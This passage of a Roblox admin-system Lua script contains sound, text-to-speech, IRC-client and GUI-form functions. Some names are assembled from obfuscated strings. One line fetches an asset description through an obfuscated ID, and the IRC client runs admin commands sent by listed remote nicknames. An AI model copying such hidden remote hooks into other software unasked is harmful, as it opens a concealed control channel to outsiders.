3338 Sound.Looped = Looped
3339 return Sound
3340end
3341
3342function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3343 if not Player or not ID then return nil end
3344 if NotifySounds[ID] then ID = NotifySounds[ID] end
3345 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3346 if Settings.EnableSounds or OverrideSettings then
3347 coroutine.wrap(function()
3348 wait()
3349 ClientSound:Play()
3350 Delay(5, function() ClientSound:Destroy() end)
3351 end)()
3352 end
3353 return Sound
3354end
3355
3356function SOUND:BindButton(Button)
3357 if not Button then return end
3358 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3359 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3360end
3361
3362function SOUND:StopGlobalSound()
3363 if Sound and Sound.Parent then
3364 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3365 Sound.Parent:Destroy()
3366 end
3367
3368 Sound:Stop()
3369 Sound:Destroy()
3370 Sound.SoundId = ""
3371 end
3372end
3373
3374function SOUND:PlayGlobalSound(ID, ShowInfo)
3375 SOUND:StopGlobalSound()
3376 if ShowInfo == nil then ShowInfo = true end
3377 local SoundID = ID
3378 local SoundName = nil
3379 local SoundCreator = nil
3380 local Pitch = 1
3381
3382 for Name,Info in pairs(SoundList) do
3383 if type(SoundID) == "string" then
3384 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3385 SoundID = Info[1]
3386 SoundName = Info[2]
3387 SoundCreator = Info[3]
3388 end
3389 else
3390 break
3391 end
3392 end
3393
3394 if tonumber(SoundID) and not SoundName then
3395 local Info = MARKET:GetItemInfo(SoundID, true)
3396 if Info then
3397 SoundName = Info.Name
3398 SoundCreator = Info.Creator.Name
3399 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3400 SoundID = nil
3401 end
3402 end
3403 end
3404
3405 if tonumber(SoundID) then
3406 if SoundID == 131201443 then Pitch = -1 end
3407 if SoundID == 130775695 then Pitch = 0.8 end
3408 if SoundID == 144035866 then Pitch = 0.8 end
3409
3410 local SoundParent = Server.Workspace
3411 if IsSB then
3412 SoundParent = Instance.new("Script", Workspace)
3413 SoundParent.Name = "M".."ML'S Admin Sound"
3414 end
3415 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3416 Sound.Name = "MML's Admin Sound "..SoundID
3417 Sound:Play()
3418 if ShowInfo == true then
3419 for _,Player in pairs(Server.Players:GetPlayers()) do
3420 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3421 end
3422 end
3423 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3424 end
3425end
3426
3427function SOUND:ConvertText(Text)
3428 Text = string.lower(tostring(Text))
3429 local Letters = {}
3430 local IDs = {}
3431 for Rule,Replace in pairs(TextConverter.Pronounce) do
3432 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3433 end
3434 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3435 local Start, End = string.find(Text, string.lower(Rule))
3436
3437 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3438 Text = string.gsub(Text, string.lower(Rule), Replace)
3439 end
3440 end
3441 for i = 1,#Text do
3442 table.insert(Letters, string.sub(Text,i,i))
3443 end
3444 for Num = 1,#Letters do
3445 if not Letters[Num] then break end
3446 local Letter = Letters[Num]
3447
3448 local function AddLetter()
3449 table.insert(IDs, TextConverter.LetterSounds[Letter])
3450 end
3451
3452 if Letter ~= "~" then
3453 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3454 table.insert(IDs, TextConverter.LetterSounds["oo"])
3455 table.remove(Letters, Num + 1)
3456 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3457 table.insert(IDs, TextConverter.LetterSounds["oo"])
3458 table.remove(Letters, Num + 1)
3459 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3460 table.insert(IDs, TextConverter.LetterSounds["th"])
3461 table.remove(Letters, Num + 1)
3462 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3463 table.insert(IDs, TextConverter.LetterSounds["sh"])
3464 table.remove(Letters, Num + 1)
3465 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3466 table.insert(IDs, TextConverter.LongVowels["e"])
3467 table.remove(Letters, Num + 1)
3468 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3469 table.insert(IDs, TextConverter.LetterSounds["wh"])
3470 table.remove(Letters, Num + 1)
3471 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3472 table.insert(IDs, TextConverter.LetterSounds["ch"])
3473 table.remove(Letters, Num + 1)
3474 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3475 table.insert(IDs, TextConverter.LetterSounds["f"])
3476 table.remove(Letters, Num + 1)
3477 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3478 table.insert(IDs, TextConverter.LetterSounds[Num])
3479 Letters[Num + 1] = "j"
3480 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3481 table.insert(IDs, TextConverter.LetterSounds["oo"])
3482 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3483 table.insert(IDs, TextConverter.LongVowels["e"])
3484 table.remove(Letters, Num + 1)
3485 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3486 table.insert(IDs, TextConverter.LongVowels["e"])
3487 table.remove(Letters, Num + 1)
3488 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3489 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3490 table.insert(IDs, TextConverter.LetterSounds["s"])
3491 Letters[Num + 1] = "~"
3492 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3493 table.insert(IDs, TextConverter.LongVowels[Letter])
3494 Letters[Num + 2] = "~"
3495 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3496 table.insert(IDs, TextConverter.LongVowels["i"])
3497 Letters[Num + 1] = "~"
3498 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3499 table.insert(IDs, TextConverter.LongVowels["o"])
3500 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3501 table.insert(IDs, TextConverter.LongVowels["i"])
3502 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3503 AddLetter()
3504 table.remove(Letters, Num + 1)
3505 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3506 Letters[Num] = "~"
3507 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3508 AddLetter()
3509 table.remove(Letters, Num + 1)
3510 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3511 AddLetter()
3512 table.remove(Letters, Num + 1)
3513 elseif Letters[Num+1] == Letter then
3514 table.remove(Letters, Num)
3515 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3516 AddLetter()
3517 table.remove(Letters, Num)
3518 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3519 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3520 elseif TextConverter.LetterSounds[Letter] then
3521 AddLetter()
3522 elseif STRING:IsSpacer(Letter) then
3523 table.insert(IDs, "Rest")
3524 end
3525 end
3526 end
3527
3528 return IDs
3529end
3530
3531function SOUND:StopSpeaking() coroutine.wrap(function()
3532 NoSpeak = true
3533 wait(1)
3534 NoSpeak = false
3535 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3536 if Obj.Name == "M".."M".."L Speak Sound" then
3537 Obj:Destroy()
3538 end
3539 end
3540end)() end
3541
3542function SOUND:SayConvertedText(IDs, Parent)
3543 if not Parent then Parent = Server.Workspace end
3544 local Sounds = {}
3545 for _,Data in pairs(IDs) do
3546 if NoSpeak and Parent == Server.Workspace then
3547 break
3548 end
3549 local Length = 0.3
3550 if Data ~= "Rest" then
3551 local ID = Data[1]
3552 Length = Data[2]
3553
3554 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3555 Sound.Name = "MML Speak Sound"
3556 table.insert(Sounds, Sound)
3557 Sound:Play()
3558 if Length then
3559 coroutine.wrap(function()
3560 wait(Length)
3561 Sound:Stop()
3562 end)()
3563 end
3564 end
3565 if not Length then Length = 0.3 end
3566 wait(Length/2)
3567 end
3568 coroutine.wrap(function()
3569 wait(1)
3570 for _,Sound in pairs(Sounds) do
3571 Sound:Destroy()
3572 end
3573 end)()
3574end
3575
3576local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3577
3578function SOUND:BeepPlayer(Player)
3579 if Player:FindFirstChild("PlayerGui") then
3580 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3581 Beep.Name = "Annoy"
3582 Beep:Play()
3583 end
3584end
3585
3586function SOUND:ClearInfo()
3587 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3588end
3589
3590-- IRC functions --
3591
3592function IRC:GenerateName()
3593 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3594end
3595
3596function IRC:AddChat(Name, Data, IsError)
3597 if not IsError then IsError = false end
3598 CORE:Log(IRC.Logs, Name, Data)
3599 table.insert(IRC.Chats, {Name, Data, IsError})
3600 IRC.MessageAdded:Fire(Name, Data, IsError)
3601end
3602
3603function IRC:Post(URL,Data)
3604 if Data and Data ~= "" then
3605 local Suc,Resp = ypcall(function()
3606 return Server.HS:PostAsync(
3607 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3608 Data,
3609 Enum.HttpContentType.ApplicationUrlEncoded
3610 )
3611 end)
3612 if not Suc then
3613 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3614 return false
3615 end
3616 IRC.SessionCounter = IRC.SessionCounter + 1
3617 return Resp
3618 else
3619 IRC:AddChat("[ CLIENT ]", "Unknown error")
3620 end
3621end
3622
3623function IRC:Send(Data)
3624 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3625end
3626
3627function IRC:GetData()
3628 return IRC:Post("s","&s="..IRC.SessionID)
3629end
3630
3631function IRC:Connect()
3632 return IRC:Post("n","&nick="..IRC.NickName)
3633end
3634
3635function IRC:Join(Channel)
3636 if not Channel then
3637 AddChat("[ CLIENT ]", "No channel specified!")
3638 return false
3639 else
3640 local Channel = string.lower(Channel)
3641 if string.sub(Channel,1,1) ~= "#" then
3642 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3643 return false
3644 end
3645 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3646 IRC:Send("JOIN "..Channel)
3647 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3648 return true
3649 end
3650end
3651
3652function IRC:Pong(Data)
3653 return IRC:Send("PONG :"..Data)
3654end
3655
3656function IRC:Quit(Reason)
3657 IRC.Stop = true
3658 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3659end
3660
3661function IRC:ReceiveData()
3662 IRC.Stop = false
3663 local Data = IRC:GetData()
3664 if Data then
3665 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3666 end
3667 while Data and not Stop do
3668 local Data = IRC:GetData()
3669 if Data and #Data > 0 then
3670 IRC:HandleResponse(REMOTE:Decode(Data))
3671 end
3672 wait(2) -- Don't spam the server
3673 end
3674 if not Data then
3675 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3676 end
3677 if Stop == true then
3678 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3679 end
3680end
3681
3682function IRC:ConnectToServer(Server)
3683 if Connected then
3684 if not IRC.Servers[Server] then
3685 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3686 return false
3687 end
3688 IRC:Quit("New Connection")
3689 end
3690 local Response = IRC:Connect()
3691 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3692 local Data = REMOTE:Decode(Response)
3693 IRC.SessionID = Data[2]
3694 wait(1)
3695 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3696 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3697 IRC:Quit()
3698 IRC:ConnectToServer(Server)
3699 end
3700 IRC.Connected = true
3701 IRC:Join(Settings.IRCChannel)
3702 IRC:ReceiveData()
3703 IRC.Connected = false
3704 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3705end
3706
3707function IRC:FindUser(UserName)
3708 for UserID,User in pairs(IRC.Users) do
3709 if string.lower(User) == string.lower(UserName) then
3710 return UserID
3711 end
3712 end
3713 return nil
3714end
3715
3716function IRC:HandleResponse(Data)
3717 if type(Data) ~= "table" then
3718 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3719 ypcall(function()
3720 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3721 end)
3722 return false
3723 end
3724 for _,Output in pairs(Data) do
3725 if type(Output) == "table" and Output[2] then
3726 local ID = string.upper(Output[2])
3727 if not IRC.Ignore[ID] then
3728 if ID == "PING" then
3729 IRC:Pong(Output[4][1])
3730 elseif ID == "PRIVMSG" then
3731 local SenderDetails = Output[3]
3732 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3733 local Channel = string.lower(Output[4][1])
3734 if Channel == IRC.NickName then
3735 Channel = Sender
3736 -- TODO: Handle PM's
3737 end
3738 local Message = Output[4][2]
3739 if Message ~= nil then
3740 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3741 if string.find(Message,":") then
3742 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3743 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3744 IRC:AddChat(IRCUser, IRCMessage)
3745 end
3746 else
3747 IRC:AddChat("[ IRC ] "..Sender,Message)
3748 for _,Name in pairs(Settings.IRCCommandExecuters) do
3749 if string.lower(Name) == string.lower(Sender) then
3750 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3751 break
3752 end
3753 end
3754 end
3755 else
3756 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3757 end
3758 elseif ID == "NICK" then
3759 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3760 -- change nickname?
3761 elseif ID == "433" or ID == "451" then
3762 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3763 IRC:Quit("Nickname in use, rejoining with new name")
3764 IRC.NickName = IRC:GenerateName()
3765 wait(2) -- wait for old sessions to end
3766 IRC:ConnectToServer(Settings.IRCServer)
3767 elseif ID == "353" then
3768 if Data[4][4][4] then
3769 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3770 table.insert(IRC.Users, Output)
3771 end
3772 end
3773 elseif ID == "QUIT" or ID == "PART" then
3774 for User in string.gmatch(Data[1][3], "[^!~]+") do
3775 if IRC:FindUser(User) then
3776 IRC:AddChat("[ IRC ]", User.." has left")
3777 table.remove(IRC.Users, IRC:FindUser(User))
3778 end
3779 end
3780 elseif ID == "JOIN" then
3781 for User in string.gmatch(Data[1][3], "[^!~]+") do
3782 if not string.find(User, "qwebirc") then
3783 IRC:AddChat("[ IRC ]", User.." has joined")
3784 table.insert(IRC.Users,w)
3785 end
3786 end
3787 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3788 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3789 --IRC:Quit("Connection lost")
3790 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3791 --IRC:ConnectToServer(Settings.IRCServer)
3792 elseif IRC.Codes[ID] then
3793 --print(ID)
3794 --print(Data[i][4][2])
3795 --print(Data[i][4][2])
3796 elseif ID == "KICK" then
3797 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3798 IRC:Quit("Kicked from IRC")
3799 elseif ID then
3800 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3801 else
3802 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3803 end
3804 end
3805 else
3806 if Output == false then return false end -- sneeky server
3807 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3808 end
3809 end
3810end
3811
3812-- GUI functions --
3813
3814function GUI:GetColor(ColorName)
3815 if not ColorName then ColorName = Settings.ColorScheme end
3816 return Colors[string.upper(ColorName)]
3817end
3818
3819function GUI:ContrastColor(Color)
3820 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3821 if not Color then Color = GUI:GetColor() end
3822 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3823end
3824
3825
3826function GUI:GetNameColor(Name)
3827 local Val = 0
3828 for i = 1, #Name do
3829 local CVal = string.byte(string.sub(Name, i, i))
3830 local RevIndex = #Name - i + 1
3831 if #Name%2 == 1 then
3832 RevIndex = RevIndex - 1
3833 end
3834 if RevIndex%4 >= 2 then
3835 CVal = -CVal
3836 end
3837 Val = Val + CVal
3838 end
3839 local Index = Val%8 + 1
3840
3841 return BrickColor.new(ChatColors[Index])
3842end
3843
3844function GUI:Color3ToHex(Color)
3845 local function ConvertNumber(Number)
3846 local HexString = "0123456789abcdef"
3847 local Byte = ""
3848 while Number > 0 do
3849 local Calc = math.fmod(Number, 16)
3850 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3851 Number = math.floor(Number / 16)
3852 end
3853 if Calc == "" then
3854 Byte = "00"
3855 elseif #Byte == 1 then
3856 Byte = "0"..Byte
3857 elseif Byte == "" then
3858 Byte = "00"
3859 end
3860 return Byte
3861 end
3862 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3863end
3864
3865function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3866 if not Player then return nil end
3867 if not Player:FindFirstChild("PlayerGui") then return nil end
3868 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3869 if not TitleText then TitleText = "Unknown" end
3870 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3871 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3872 if not IconID then IconID = 19919809 end
3873 if ShowFormButtons == nil then ShowFormButtons = true end
3874 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3875 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3876 if AutoOffset == nil then AutoOffset = true end
3877 if Icons[IconID] then IconID = Icons[IconID] end
3878 if TweenPosition == nil then TweenPosition = true end
3879 if NoModal == nil then NoModal = false end
3880 if NoScrollFrame == nil then NoScrollFrame = false end
3881
3882 local IsClosed = false
3883 local Minus = nil
3884 local Offset = 0
3885 local ContentType = "ScrollingFrame"
3886 local TweenSpeed = 0.3
3887
3888 if AutoOffset then
3889 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3890 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3891 if Item.IsActive.Value == true then
3892 if Item.IsTrueForm.Value == true then
3893 Offset = Offset + 50
3894 end
3895 end
3896 end
3897 end
3898 end
3899
3900 if NoScrollFrame == true then
3901 ContentType = "Frame"
3902 end
3903
3904 SOUND:PlayNotification(Player, 155331654)
3905
3906 local Position = Position + UDim2.new(0,Offset,0,Offset)
3907 local MinimizePos = Position
3908
3909 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3910 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3911 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3912
3913 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3914 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3915 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3916 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3917 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3918 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3919 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3920 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3921 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3922
3923 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3924 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3925 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3926 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3927 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3928
3929 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3930
3931 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3932
3933 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3934 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3935 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3936 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3937 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3938 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3939
3940 if Settings.EnableTaskBar then
3941 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3942 else
3943 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3944 Title.Size = UDim2.new(1, -95, 0, 25)
3945 end
3946
3947 if not ShowFormButtons then
3948 X:Destroy()
3949 TitleEnd:Destroy()
3950 Title.Size = UDim2.new(1, -55, 0, 25)
3951 end
3952
3953 local function CloseForm()
3954 if IsClosed == false then
3955 IsActive.Value = false
3956 IsClosed = true
3957 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3958 Closed:Fire()
3959 SOUND:PlayNotification(Player, 206375138)
3960 end
3961 end
3962
3963 local function MinimizeForm()
3964 if IsActive.Value == true then
3965 IsActive.Value = false
3966 Minimized:Fire()
3967 MinimizePos = Dragger.Position
3968 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3969 end
3970 end
3971
3972 local function RestoreForm()
3973 if IsActive.Value == false then
3974 IsActive.Value = true
3975 Restored:Fire()
3976 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3977 end
3978 end
3979
3980 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3981 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3982
3983 Close.OnInvoke = CloseForm
3984 Minimize.OnInvoke = MinimizeForm
3985 Restore.OnInvoke = RestoreForm
3986
3987 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3988
3989 if TaskBar then
3990 TaskBar:WaitForChild("AddForm")
3991 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3992 end
3993
3994 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3995end
3996
3997function GUI:CoreGui(Player, Type, Enable)
3998 local Parent = Player:FindFirstChild("Backpack")
3999 if not Parent then Parent = Player.Backpack end
4000 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4001end
4002
4003function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4004 if not Player or not Player:IsA("Player") then return nil end
4005 if BodyText == "" then return nil end
4006 if not Player:FindFirstChild("PlayerGui") then return nil end
4007
4008 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4009 local TextColor = GUI:GetColor(MessageSplit[1])
4010 if TextColor then BodyText = MessageSplit[2] end
4011 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4012
4013 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4014 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4015
4016 if Frame then
4017 local FormBar = Frame.Parent.Parent.FormBar
4018 local Said = false
4019 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4020 if Settings.EnableTaskBar then
4021 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4022 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4023 else
4024 Speak.Position = UDim2.new(1, -58, 0, 5)
